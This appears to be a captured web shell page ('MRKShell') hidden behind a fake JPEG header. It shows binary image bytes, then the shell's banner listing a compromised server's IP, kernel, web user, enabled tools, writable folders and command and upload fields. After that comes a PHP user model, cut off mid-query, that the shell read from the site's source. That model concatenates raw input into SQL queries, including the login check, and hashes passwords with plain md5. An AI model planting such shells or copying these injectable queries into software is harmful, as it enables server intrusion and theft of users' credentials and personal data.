JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 172.71.28.168
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/models/usuario.php
<?php
class Usuario extends CI_Model
{	
	public function edit($id,$datos,$ip_origen="")
	{
		$this->db->where('id', $id);
		if(!$this->db->update('usuario', $datos))
		{
			return false;
		}
		else
		{
			if ($ip_origen!="")
			{
				$datos_info['IP_reg'] = $ip_origen;
				$this->db->where('usuario_id', $id);
				$this->db->update('usuario_info', $datos_info);
			}
			return true;
		}
	}
	
	public function insert($datos,$datos_info)
	{
	$this->db->trans_begin();
		
		$this->db->insert('usuario',$datos);
		$last=$this->db->insert_id();
		
		$datos_info['usuario_id']=$last;
		$this->db->insert('usuario_info',$datos_info);
		
		$this->db->trans_complete();
		if ($this->db->trans_status() === FALSE)
		{
			$this->db->trans_rollback();
			return false;
		}
		else
		{
			$this->db->trans_commit();
			return $last;
		}
	}

	public function guardarNuevo($datos)
	{
		$codigo = rand(1000,9999);
		$sql = "select f_usuario_insert('".$datos['email']."','".$datos['usuario']."','".$datos['password']."','".$codigo."') as usuario_id"; 
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			$return['id'] = $res[0]['usuario_id'];
			$return['codigo_habilitacion'] = $codigo;
			return $return;
		}
		else
			return false;
	}

	public function modificarPerfil($usuario_id, $datos, $datos_info)
	{
		$this->db->where("id",$usuario_id);
		if ($this->db->update("usuario",$datos))
		{
			$this->db->where("usuario_id",$usuario_id);
			$this->db->update("usuario_info",$datos_info);
			return true;
		}
		else
			return false;
	}
	
	public function check_user($usuario,$id="")
	{
		$sql = "select id from usuario where usuario = '".trim($usuario)."'";
		
		if($id != "")
		{
			$sql .= " and id != '".$id."'";
		}
		
		$query=$this->db->query($sql);
		if($query->num_rows()>0)
		{
			return false;
		}
		else
		{
			return true;
		}
	}
	
	public function check_email($email,$id="")
	{
		$this->db->select('id');
		$this->db->from('usuario');
		$this->db->where('email',trim($email));
		if($id<>"")
		{
			$this->db->where('id !=',$id);
		}

		$query=$this->db->get();
		//$this->db->last_query();
		if($query->num_rows()>0)
		{
			return false;
		}
		else
		{
			return true;
		}
	}

	public function check_email_faceconnect($email)
	{
		$this->db->select('id, usuario');
		$this->db->from('usuario');
		$this->db->where('email',trim($email));
		
		$query=$this->db->get();
		if($query->num_rows()>0)
		{
			$res = $query->result_array();
		
			return $res[0];
		}
		else
		{
			return false;
		}
	}
	
	public function check_movil($movil,$id="")
	{
		$this->db->select('id');
		$this->db->from('usuario');
		$this->db->where('movil',$movil);
		if($id<>"")
		{
			$this->db->where('id !=',$id);
		}
		$query=$this->db->get();
		if($query->num_rows()>0)
		{
			return false;
		}
		else
		{
			return true;
		}
	}
	
	public function check_pass($id, $pass)
	{
		$this->db->select("id");
		$this->db->from("usuario");
		$this->db->where("id",$id);
		$this->db->where("password",md5($pass));
		$query = $this->db->get();
		if ($query->num_rows() > 0)
			return true;
		else
			return false;
	}
	
	public function datosLector($usuario_id)
	{
		$sql = "SELECT pais_id_reside,pais_id_nacimiento,provincia_id,ciudad,domicilio,sexo,
		ocupacion_id,tipodocu,numdoc,telefono,codigo_habilitacion,usuario_twitter,descripcion, 
		DATE_FORMAT(fecha_nac, '%d/%m/%Y') as fecha_nac, celular 
		FROM usuario_info 
		WHERE usuario_id = ".$usuario_id;
		
		$query = $this->db->query($sql);
		$res = $query->result_array();
		return $res[0];	
	}
	
	public function buscarPorEmail($email)
	{
		$this->db->select("id, usuario, apellido, nombre, email, estado, password as pass_encriptada");
		$this->db->from("usuario");
		$this->db->where("email",strtolower($email));
		$query = $this->db->get();
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]; 
		}
		else
			return false;
	}
	
	public function update_corto($datos, $datos_lista, $usuario_id)
	{
		$this->db->where("id",$usuario_id);
		if ($this->db->update("usuario",$datos))
		{
			if ($datos_lista != "")
				$this->cambiar_alertas($datos_lista, $usuario_id);
			return true;
		}
		else
			return false;
	}
	
	public function update_largo($datos, $usuario_id)
	{
		$this->db->where("usuario_id",$usuario_id);
		if ($this->db->update("usuario_info",$datos))
			return true;
		else
			return false;
	}
	
	public function cambiar_alertas($datos_lista, $usuario_id)
	{
		$this->db->where("usuario_id",$usuario_id);
		if ($this->db->update("usuario_info",$datos_lista))
			return true;
		else
			return false;
	}
	
	public function insert_update($datos)
	{		
		if(!isset($datos['IP_reg'])){ $datos['IP_reg']=''; }
		if(!isset($datos['codigo_habilitacion'])){ $datos['codigo_habilitacion']=0; }
		if(!isset($datos['usuario_id'])){ $datos['usuario_id']="''"; }
		if(!isset($datos['usuario_id_aud'])){ $datos['usuario_id_aud']=0; }
	
		$sql = "select f_lector_insert_update(".$datos['usuario_id'].",".$datos['perfil_id'].",'".$datos['usuario']."',
		'".$datos['password']."','".$datos['nombre']."','".$datos['apellido']."',".$datos['estado'].",
		'".$datos['email']."',".$datos['tipo'].",'".$datos['domicilio']."','".$datos['ciudad']."',".$datos['provincia_id'].",
		".$datos['pais_id_reside'].",".$datos['pais_id_nacimiento'].",".$datos['ocupacion_id'].",'".$datos['fecha_nac']."',
		".$datos['sexo'].",'".$datos['tipodocu']."',".$datos['numdoc'].",".$datos['codigo_habilitacion'].",
		'".$datos['telefono']."',".$datos['recibe_titulares'].",'".$datos['IP_reg']."',
		".$datos['usuario_id_aud'].",'".$datos['usuario_twitter']."','".$datos['descripcion']."') as id";
		
		if ($query = $this->db->query($sql))
		{
			$res = $query->result();
			return $res[0]->id;
		}
		else
			return false;
	}
	
	public function activar_por_codigo($id,$codigo)
	{
		$sql = "select u.id, u.nombre, u.apellido, u.email, u.usuario, u.facebook_id, u.estado, u.perfil_id, ui.imagen_estado, u.karma  
		from usuario u 
		inner join usuario_info ui on (u.id = ui.usuario_id) 
		where u.id = ".$id." and md5(ui.codigo_habilitacion) = '$codigo' and u.estado = 3";

		$query = $this->db->query($sql);
		if($query->num_rows()>0)
		{
			$res = $query->result_array();
			$data = array('estado' => 1);
			$this->db->where('id', $id);
			if($this->db->update('usuario', $data))
			{
				return $res[0];
			}
			else
			{
				return false;
			}
		}
		else
		{
			return false;
		}
	}
	
	public function login($mail,$pass)
	{
		$pass = md5($pass);
		$sql = "select u.id, u.nombre, u.apellido, u.email, u.usuario, u.facebook_id, u.estado, u.perfil_id, ui.imagen_estado, u.karma  
		from usuario u 
		inner join usuario_info ui on (ui.usuario_id = u.id) 
		where u.email = '$mail' and u.password = '$pass'";
		
		$query=$this->db->query($sql);
		if($query->num_rows()>0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
		{
			return false;
		}
	}
	
	public function ultimoAcceso($usuario_id)
	{
		$sql = "update usuario set ultimo_acceso = now() where id = ".$usuario_id;
		$this->db->query($sql);
	}
	
	public function damePaises()
	{
		$this->db->select("id_pais,pais");
		$this->db->from("paises");
		$this->db->order_by("pais asc");
		$query=$this->db->get();
		$res = $query->result_array();
		if($query->num_rows()>0)
		{
			return $res;
		}
		else
		{
			return false;
		}
	}
	
	public function dameOcupaciones()
	{
		$this->db->select("id_ocupacion,ocupacion");
		$this->db->from("ocupaciones");
		$this->db->order_by("ocupacion asc");
		$query=$this->db->get();
		$res = $query->result_array();
		if($query->num_rows()>0)
		{
			return $res;
		}
		else
		{
			return false;
		}
	}
	
	public function dameProvincias($id_pais,$html=NULL)
	{
		$this->db->select("id_provincia,provincia");
		$this->db->from("provincias");
		$this->db->where("id_pais",$id_pais);
		$this->db->order_by("provincia asc");
		$query=$this->db->get();
		$res = $query->result_array();
		if($query->num_rows()>0)
		{
			if($html)
			{
				$b='';
				foreach($res as $v)
				{
					$b .='<option value="'.$v['id_provincia'].'">'.$v['provincia'].'</option>';
				}
				return $b;
			}
			else
			{
				return $res;
			}
		}
		else
		{
			return false;
		}
	}
	
	public function obtenerPeriodistaNota($nota_id)
	{
		$sql = "SELECT u.id, u.email, CONCAT(u.nombre,' ',u.apellido) as nombre, ui.descripcion, ui.usuario_twitter 
		       FROM usuario u 
		       INNER JOIN usuario_info ui on (u.id = ui.usuario_id) 
		       INNER JOIN relacion r on (r.objeto_id = u.id and r.tipo = 4) 
		       WHERE r.nota_id = ".$nota_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			$periodista = array();
			foreach ($res as $pe)
			{
				$url = $pe['nombre'];
				$url = str_replace("'","",$url);
				$url = str_replace('"',"",$url);
				$url = str_replace(" ","-",$url);
				$pe['url'] = $url;
				$periodista[] = $pe;
			}
			/*$periodista = $res[0];
			$url = $periodista['nombre'];
			$url = str_replace("'","",$url);
			$url = str_replace('"',"",$url);
			$url = str_replace(" ","-",$url);
			$periodista['url'] = $url;*/
			return $periodista;
		}
		else
			return false;
	}
	
	public function infoPeriodista($periodista_id)
	{
		$sql = "select u.id, u.email, CONCAT(u.nombre,' ',u.apellido) as nombre, ui.descripcion, ui.usuario_twitter, u.tipo 
		from usuario u 
		inner join usuario_info ui on (ui.usuario_id = u.id) 
		where u.id = ".$periodista_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function notasPeriodista($periodista_id,$edicion_id,$start=0)
	{
		$sql = "select n.id, n.antetitulo, n.titulo, n.sumario as bajada, n.url, 
		DATE_FORMAT(e.fecha, '%d-%m-%Y') as fecha, DATE_FORMAT(n.fechaAlta, '%H:%i') as hora, 
		(select CONCAT_WS('|',s.nombre,s.color) from tag s inner join relacion_tag re on (re.tag_id = s.id and re.tipo = 5) 
		where re.nota_id = n.id and s.tipo_id=5 limit 1) as seccion, 
		(select CONCAT(f.ruta,'tmb2_',f.imagen) 
			from foto f 
			inner join relacion r2 on (f.id = r2.objeto_id)
			where r2.tipo = 30 and r2.nota_id = n.id order by r2.destacado desc limit 1) as destacada 
		from nota n 
		inner join relacion r on (r.nota_id = n.id and r.tipo = 4) 
		inner join edicion e on (e.id = n.edicion_id) 
		where r.objeto_id = ".$periodista_id." and n.habilitada = 1 and n.edicion_id <= ".$edicion_id." 
		order by e.fecha desc 
		limit $start,20";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
		
	}

	public function notasPeriodistaMinimizado($periodista_id,$edicion_id)
	{
		$sql = "select n.id, n.titulo, n.url, 
		(select s.nombre from tag s inner join relacion_tag re on (re.tag_id = s.id and re.tipo = 5) 
		where re.nota_id = n.id and s.tipo_id=5 limit 1) as seccion 
		from nota n 
		inner join relacion r on (r.nota_id = n.id and r.tipo = 4) 
		where r.objeto_id = ".$periodista_id." and n.habilitada = 1  and n.edicion_id <= ".$edicion_id."
		order by n.id desc 
		limit 3";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
		
	}
	
	public function listadoPeriodistas($start = 0)
	{
		$sql = "select u.id, u.email, CONCAT(u.nombre,' ',u.apellido) as nombre, ui.descripcion, ui.usuario_twitter 
		from usuario u 
		inner join usuario_info ui on (ui.usuario_id = u.id) 
		where u.estado = 1 and u.tipo = 2   
		order by u.apellido asc 
		limit $start, 30";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function buscarPorId($usuario_id)
	{
		$sql = "select u.id, u.apellido, u.nombre, u.email, u.usuario, u.facebook_id, u.twitter_id, 
		u.avatar_mostrar, ui.imagen_estado, ui.descripcion, DATE_FORMAT(ui.fecha_nac, '%d/%m/%Y') as fechanac, ui.ciudad,
		ui.pais_id_reside, ui.provincia_id, ui.ocupacion_id, ui.tipodocu, ui.numdoc, ui.telefono, ui.celular,ui.sexo
		from usuario u 
		inner join usuario_info ui on (ui.usuario_id = u.id) 
		where u.id = ".$usuario_id;
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}

	public function dameNewsletter($usuario_id)
	{
		$sql = "select recibe_titulares, recibe_matutino, recibe_vespertina, recibe_novedades from usuario_info where usuario_id = ".$usuario_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}	
		else
			return false;
	}

	public function buscarPorIdPerfil($usuario_id)
	{
		$sql = "select u.id, u.apellido, u.nombre, u.email, u.usuario, u.tipo, u.facebook_id, u.twitter_id, u.perfil_id,  
		u.avatar_mostrar, ui.imagen_estado, ui.descripcion, u.estado, DATE_FORMAT(ui.fecha_nac,'%d/%m/%Y') as nacio, 
		ui.ciudad, u.mostrar_nombre, us.perfil_web, us.estado_web, us.perfil_face, us.estado_face, us.perfil_tw, us.estado_tw, us.perfil_gl, 
		us.estado_gl, us.perfil_lk, us.estado_lk, ui.sexo,ui.numdoc
		from usuario u 
		inner join usuario_info ui on (ui.usuario_id = u.id) 
		left join usuario_social us on (us.usuario_id = u.id) 
		where u.id = ".$usuario_id;
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			$res[0]['total_comentarios'] = $this->dameCantComentarios($usuario_id);
			return $res[0];
		}
		else
			return false;
	}

	public function dameCantComentarios($usuario_id)
	{
		$sql = "select count(id) as total from comentario where usuario_id = ".$usuario_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['total'];
		}
		else
			return 0;
	}

	public function dameNotasPerfil($usuario_id,$start,$limit)
	{
		$sql = "select n.id, n.titulo, n.sumario, DATE_FORMAT(e.fecha,'%d-%m-%Y') as fecha, 
		DATE_FORMAT(n.fechaAlta,'%H:%i') as hora, 
		(
			select CONCAT(f.ruta,'tmb2_',f.imagen) 
			from foto f 
			inner join relacion r2 on (f.id = r2.objeto_id)
			where r2.tipo = 30 and r2.nota_id = n.id order by r2.destacado limit 1
		) as destacada 
		from nota n 
		inner join edicion e on (e.id = n.edicion_id) 
		inner join usuario_lector_historial uh on (uh.objeto_id = n.id and uh.accion=3) 
		where uh.usuario_id = ".$usuario_id." and n.edicion_id > 3500 AND n.habilitada = 1  
		order by n.edicion_id desc, n.id desc 
		limit ".$start.",".$limit;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function dameCantNotas($usuario_id)
	{
		$sql = "select count(n.id) as total 
		from nota n 
		inner join usuario_lector_historial uh on (uh.objeto_id = n.id and uh.accion=3) 
		where uh.usuario_id = ".$usuario_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['total'];
		}
		else
			return 0;
	}

	public function dameFotosPerfil($usuario_id,$start,$limit)
	{
		$sql = "select f.id, f.titulo, f.descripcion, f.ruta, f.imagen, f.habilitada,
		DATE_FORMAT(f.fechaalta,'%d-%m-%Y') as fecha, DATE_FORMAT(f.fechaalta,'%H:%i') as hora,
		 g.titulo as titulo_gal, g.id as galeria_id, f.compartido, g.tipo as tipo_galeria 
		from foto_galerias f 
		inner join galeria_foto gf on (gf.foto_id = f.id) 
		inner join galeria g on (g.id = gf.galeria_id) 
		where g.habilitada=1 and g.tipo > 1 and f.usuario_id = ".$usuario_id." and f.habilitada=1"; 

		$sql.=" order by f.id desc 
		limit ".$start.", ".$limit;
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function dameCantFotos($usuario_id)
	{
		$sql = "SELECT COUNT(f.id) AS total 
			FROM foto_galerias f 
			INNER JOIN galeria_foto gf ON (gf.foto_id = f.id) 
			INNER JOIN galeria g ON (g.id = gf.galeria_id) 
			WHERE g.habilitada = 1 AND f.habilitada=1 AND g.tipo > 1 AND f.usuario_id = ".$usuario_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['total'];
		}
		else
			return 0;
	}

	public function dameTagsSeguidos($usuario_id,$start,$limit)
	{
		$sql = "select t.id, t.nombre, t.tipo_id, t.url, t.color 
		from tag t 
		inner join usuario_tags_seguir ut on (ut.tag_id = t.id) 
		where ut.usuario_id = ".$usuario_id." order by t.tipo_id desc, ut.id desc 
		limit ".$start.", ".$limit;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function dameCantTagSigue($usuario_id)
	{
		$sql = "select count(id) as total from usuario_tags_seguir where usuario_id = ".$usuario_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['total'];
		}
		else
			return 0;
	}

	public function dameUsuariosSeguidos($usuario_id,$start,$limit)
	{
		$sql = "select DISTINCT u.id, u.usuario, u.facebook_id, u.avatar_mostrar, ui.imagen_estado, u.nombre, u.apellido, u.tipo 
		from usuario u 
		inner join usuario_info ui on (ui.usuario_id = u.id) 
		inner join usuario_amigos ua on (ua.usuario_id_seguido = u.id) 
		where ua.usuario_id = ".$usuario_id." and u.estado != 7 order by ua.id desc limit ".$start.", ".$limit;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function dameUsuariosMeSiguen($usuario_id,$start,$limit)
	{
		$sql = "select DISTINCT u.id, u.usuario, u.facebook_id, u.avatar_mostrar, ui.imagen_estado, u.nombre, u.apellido, u.tipo 
		from usuario u 
		inner join usuario_info ui on (ui.usuario_id = u.id) 
		inner join usuario_amigos ua on (ua.usuario_id = u.id) 
		where ua.usuario_id_seguido = ".$usuario_id." and u.estado != 7 order by u.id desc limit ".$start.", ".$limit;
		$query = $this->db->query($sql);
		//echo $this->db->last_query();
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function dameCantUsuariosSigue($usuario_id)
	{
		$sql = "select count(DISTINCT usuario_id_seguido) as total from usuario_amigos where usuario_id = ".$usuario_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['total'];
		}
		else
			return 0;
	}

	public function dameCantUsuariosMeSiguen($usuario_id)
	{
		$sql = "select count(DISTINCT usuario_id) as total from usuario_amigos where usuario_id_seguido = ".$usuario_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['total'];
		}
		else
			return 0;
	}
	
	public function dameMovil($usuario_id)
	{
		$this->db->select("movil"); 
		$this->db->from("usuario");
		$this->db->where("id",$usuario_id);
		$query = $this->db->get();
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['movil'];
		}
		else
			return false;
	}
	
	public function damePin($usuario_id)
	{
		$this->db->select("pin"); 
		$this->db->from("usuario");
		$this->db->where("id",$usuario_id);
		$query = $this->db->get();
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['pin'];
		}
		else
			return false;
	}
	
	public function infoAlertas($usuario_id)
	{
		$this->db->select("recibe_alertas, recibe_titulares, recibe_matutino, recibe_vespertina");
		$this->db->from("usuario_info");
		$this->db->where("usuario_id",$usuario_id);
		$query = $this->db->get();
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function cambiarPassword($pass,$usuario_id, $estado=0)
	{
		$datos['password'] = md5($pass);
		if ($estado > 0 and $estado == 4)
			$datos['estado'] = 1;
			
		$this->db->where("id",$usuario_id);
		if ($this->db->update("usuario",$datos))
			return true;
		else
			return false;
	}
	
	public function dameNotas($usuario_id, $edicion_id=3749,$start=0,$limit=5,$habilitada=null)
	{
		$edicion_ant = $edicion_id - 90;
		
		$sql = "select n.id, n.anteTitulo as antetitulo, n.titulo, n.sumario as bajada, 
		DATE_FORMAT(n.fechaAlta, '%d/%m/%Y') as fecha, n.url, n.habilitada, 
		(
			select CONCAT(f.ruta,'tmb2_',f.imagen) 
			from foto f 
			inner join relacion r2 on (f.id = r2.objeto_id)
			where r2.tipo = 30 and r2.destacado = 1 and r2.nota_id = n.id limit 1
		) as destacada,
		(
			select s.nombre 
			from tag s 
			inner join relacion_tag re on (re.tag_id = s.id and re.tipo = 5) 
			where re.nota_id = n.id and s.tipo_id=5
			limit 1
		) as seccion_nombre
		from nota n 
		inner join usuario_lector_historial u on (u.objeto_id = n.id)  
		where u.usuario_id = ".$usuario_id." and u.accion = 3 and n.edicion_id >= $edicion_ant";
		if($habilitada==4)
			$sql.= " and n.habilitada in (".$habilitada.", 3)";
		elseif($habilitada)
			$sql.= " and n.habilitada = ".$habilitada;

		$sql.=" order by u.id desc limit ".$start.", ".$limit;
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function dameNotasReservadas($usuario_id, $edicion_id=3749)
	{
		$edicion_ant = $edicion_id - 90;
		
		$sql = "select n.id, n.anteTitulo as antetitulo, n.titulo, n.sumario as bajada, 
		DATE_FORMAT(n.fechaAlta, '%d/%m/%Y') as fecha, n.url, n.habilitada, 
		(
			select CONCAT(f.ruta,'tmb2_',f.imagen) 
			from foto f 
			inner join relacion r2 on (f.id = r2.objeto_id)
			where r2.tipo = 30 and r2.destacado = 1 and r2.nota_id = n.id limit 1
		) as destacada,
		(
			select s.nombre 
			from tag s 
			inner join relacion_tag re on (re.tag_id = s.id and re.tipo = 5) 
			where re.nota_id = n.id and s.tipo_id=5
			limit 1
		) as seccion_nombre
		from nota n 
		inner join usuario_nota_reservada nr on (nr.nota_id = n.id)  
		where nr.usuario_id = ".$usuario_id." and n.edicion_id >= $edicion_ant    
		order by nr.id desc limit 5";
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function insertarNota($datos)
	{
		$titulo = $datos['titulo'];
		$texto = "<texto>".$datos['texto']."</texto>";
		$usuario_id = $datos['usuario_id'];
		$edicion_id = $datos['edicion_id'];
		$foto = $datos['foto'];
		$ruta = $datos['ruta'];
		$url = $datos['url'];
		$video = $datos['video'];
		$ip_origen = $_SERVER['REMOTE_ADDR'];
		if ($video!="")
		{
			$codigo = explode("v=",$video);
			$codigo = $codigo[1];
			$codigo = substr($codigo,0,11);
		}
		else
			$codigo = "";
		
		$parametros = "'', '$titulo', '', '$texto', '$url', '$video', '$codigo', $usuario_id, 
		'$ip_origen', $edicion_id, '$foto', '$ruta'";
		
		$sql = "select f_cargar_nota($parametros) as nota_id";
		
		if ($query=$this->db->query($sql))
		{
			$res = $query->result_array();
			return $res[0]['nota_id'];
		}
		else
			return false;
	}
	
	public function dameComentarios($usuario_id, $edicion_id=3479)
	{
		$edicion_ant = $edicion_id - 90;
		
		$sql = "select n.id, n.anteTitulo as antetitulo, n.titulo, n.url, n.habilitada, 
		(
			select s.nombre 
			from tag s 
			inner join relacion re on (re.objeto_id = s.id and re.tipo = 8) 
			where re.nota_id = n.id and s.tipo_id = 5
			limit 1
		) as seccion_nombre, c.comentario, c.secuencia, c.referencias, c.positivo, c.negativo, c.estado,
		DATE_FORMAT(c.fecha, '%d/%m/%Y %H:%i') as hora
		from nota n 
		inner join comentario c on (c.objeto_id = n.id and c.tipo=32)  
		where c.usuario_id = ".$usuario_id." and c.estado in (2,4) and n.edicion_id >= $edicion_ant  
		order by c.id desc limit 10";
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function dameComentariosFiltrados($usuario_id, $edicion_id=3479)
	{
		$edicion_ant = $edicion_id - 90;
		
		$sql = "select n.id, n.anteTitulo as antetitulo, n.titulo, n.url, n.habilitada, 
		(
			select s.nombre 
			from tag s 
			inner join relacion re on (re.objeto_id = s.id and re.tipo = 8) 
			where re.nota_id = n.id and s.tipo_id = 5
			limit 1
